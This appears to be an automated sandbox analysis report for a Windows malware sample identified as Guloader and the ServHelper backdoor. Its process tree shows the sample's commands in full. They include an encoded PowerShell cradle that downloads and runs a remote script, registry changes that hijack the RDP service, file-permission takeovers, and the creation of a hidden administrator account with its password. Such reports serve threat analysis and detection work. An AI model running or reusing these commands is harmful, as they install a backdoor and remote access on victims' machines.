Analysis

  • max time kernel
    120s
  • max time network
    131s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    01-02-2022 01:08

General

  • Target

    45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe

  • Size

    4.8MB

  • MD5

    21345fbca5a55ebf159df33e413f49fa

  • SHA1

    a5241a3aeeffca19e3eb645054fd1b35b4aebcfe

  • SHA256

    45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e

  • SHA512

    53b39836db28209b4b3719ceab8997ca7584b51931cd5454bcf454aa45f0457f84b9cc1061f27b81124e126abdf4b1d110d143bab01d0b23556f0fe22cadfd39

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Guloader Payload 1 IoCs
  • Blocklisted process makes network request 10 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • Sets service image path in registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 18 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe
    "C:\Users\Admin\AppData\Local\Temp\45abc0ccd7712ead92f531f4bbf98615703448de661a15457ea7dac3c141a63e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3788
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4060
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dyfq03zv\dyfq03zv.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF441.tmp" "c:\Users\Admin\AppData\Local\Temp\dyfq03zv\CSCF3F294A4B1143C088BFA9305A7C2E95.TMP"
          4⤵
            PID:208
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2100
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2908
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1756
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3496
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3728
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:3812
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:812
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3088
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:316
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1720
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3576
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1756
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1552
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:3492
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1828
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:3572
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2776
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3008
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3824
                • C:\Windows\system32\cmd.exe
                  cmd /c net start TermService
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3364
                  • C:\Windows\system32\net.exe
                    net start TermService
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3084
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start TermService
                      6⤵
                        PID:1632
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                  3⤵
                    PID:2012
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                    3⤵
                      PID:3076
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
                  1⤵
                    PID:1932
                  • C:\Windows\System32\WaaSMedicAgent.exe
                    C:\Windows\System32\WaaSMedicAgent.exe 939e63fd180013c5e1206812a9b8e19b wPkKkQ52aUC9vH3IlqJcRg.0.1.0.0.0
                    1⤵
                    • Modifies data under HKEY_USERS
                    PID:2128
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3408
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      2⤵
                        PID:1956
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc 000000 /del
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3600
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc 000000 /del
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1008
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                          3⤵
                            PID:3304
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe user WgaUtilAcc CHC0ye2u /add
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1556
                        • C:\Windows\system32\net.exe
                          net.exe user WgaUtilAcc CHC0ye2u /add
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3812
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 user WgaUtilAcc CHC0ye2u /add
                            3⤵
                              PID:812
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3088
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            2⤵
                              PID:3944
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                3⤵
                                  PID:888
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
                              1⤵
                                PID:1880
                                • C:\Windows\system32\net.exe
                                  net.exe LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
                                  2⤵
                                    PID:1180
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RIBCQUHQ$ /ADD
                                      3⤵
                                        PID:1516
                                  • C:\Windows\System32\cmd.exe
                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                    1⤵
                                      PID:2884
                                      • C:\Windows\system32\net.exe
                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                        2⤵
                                          PID:2236
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                            3⤵
                                              PID:3016
                                        • C:\Windows\System32\cmd.exe
                                          cmd /C net.exe user WgaUtilAcc CHC0ye2u
                                          1⤵
                                            PID:3492
                                            • C:\Windows\system32\net.exe
                                              net.exe user WgaUtilAcc CHC0ye2u
                                              2⤵
                                                PID:988
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 user WgaUtilAcc CHC0ye2u
                                                  3⤵
                                                    PID:3408
                                              • C:\Windows\System32\cmd.exe
                                                cmd.exe /C wmic path win32_VideoController get name
                                                1⤵
                                                  PID:380
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic path win32_VideoController get name
                                                    2⤵
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:2944
                                                • C:\Windows\System32\cmd.exe
                                                  cmd.exe /C wmic CPU get NAME
                                                  1⤵
                                                    PID:3316
                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                      wmic CPU get NAME
                                                      2⤵
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:3760
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                    1⤵
                                                      PID:3808
                                                      • C:\Windows\system32\cmd.exe
                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                        2⤵
                                                          PID:4004
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                            3⤵
                                                            • Blocklisted process makes network request
                                                            • Drops file in Program Files directory
                                                            • Drops file in Windows directory
                                                            • Modifies data under HKEY_USERS
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:1756

                                                      Network

                                                      MITRE ATT&CK Enterprise v6

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • memory/1756-196-0x00000195C0B60000-0x00000195C0BB7000-memory.dmp

                                                        Filesize

                                                        348KB

                                                      • memory/1756-174-0x00000247EBEF0000-0x00000247EBF10000-memory.dmp

                                                        Filesize

                                                        128KB

                                                      • memory/1756-195-0x00000195C0B60000-0x00000195C0BB7000-memory.dmp

                                                        Filesize

                                                        348KB

                                                      • memory/1756-199-0x00000195C0B60000-0x00000195C0BB7000-memory.dmp

                                                        Filesize

                                                        348KB

                                                      • memory/1756-178-0x00000247EBEF0000-0x00000247EBF10000-memory.dmp

                                                        Filesize

                                                        128KB

                                                      • memory/1756-175-0x00000247EBEF0000-0x00000247EBF10000-memory.dmp

                                                        Filesize

                                                        128KB

                                                      • memory/2100-158-0x00000272B3F60000-0x00000272B3F80000-memory.dmp

                                                        Filesize

                                                        128KB

                                                      • memory/2100-159-0x00000272B3F60000-0x00000272B3F80000-memory.dmp

                                                        Filesize

                                                        128KB

                                                      • memory/2100-160-0x00000272B3F60000-0x00000272B3F80000-memory.dmp

                                                        Filesize

                                                        128KB

                                                      • memory/2908-168-0x000001A3A1800000-0x000001A3B99E0000-memory.dmp

                                                        Filesize

                                                        385.9MB

                                                      • memory/2908-167-0x000001A3A1800000-0x000001A3B99E0000-memory.dmp

                                                        Filesize

                                                        385.9MB

                                                      • memory/3788-131-0x000001AA7C4E3000-0x000001AA7C4E5000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/3788-132-0x000001AA7C4E5000-0x000001AA7C4E6000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3788-133-0x000001AA7C4E6000-0x000001AA7C4E7000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/3788-130-0x000001AA7C4E0000-0x000001AA7C4E2000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/4060-144-0x0000024F66E06000-0x0000024F66E08000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/4060-181-0x0000024F66E08000-0x0000024F66E09000-memory.dmp

                                                        Filesize

                                                        4KB

                                                      • memory/4060-152-0x0000024F684C0000-0x0000024F686CA000-memory.dmp

                                                        Filesize

                                                        2.0MB

                                                      • memory/4060-151-0x0000024F68130000-0x0000024F682A6000-memory.dmp

                                                        Filesize

                                                        1.5MB

                                                      • memory/4060-143-0x0000024F66E03000-0x0000024F66E05000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/4060-142-0x0000024F66E00000-0x0000024F66E02000-memory.dmp

                                                        Filesize

                                                        8KB

                                                      • memory/4060-138-0x0000024F66D30000-0x0000024F66D52000-memory.dmp

                                                        Filesize

                                                        136KB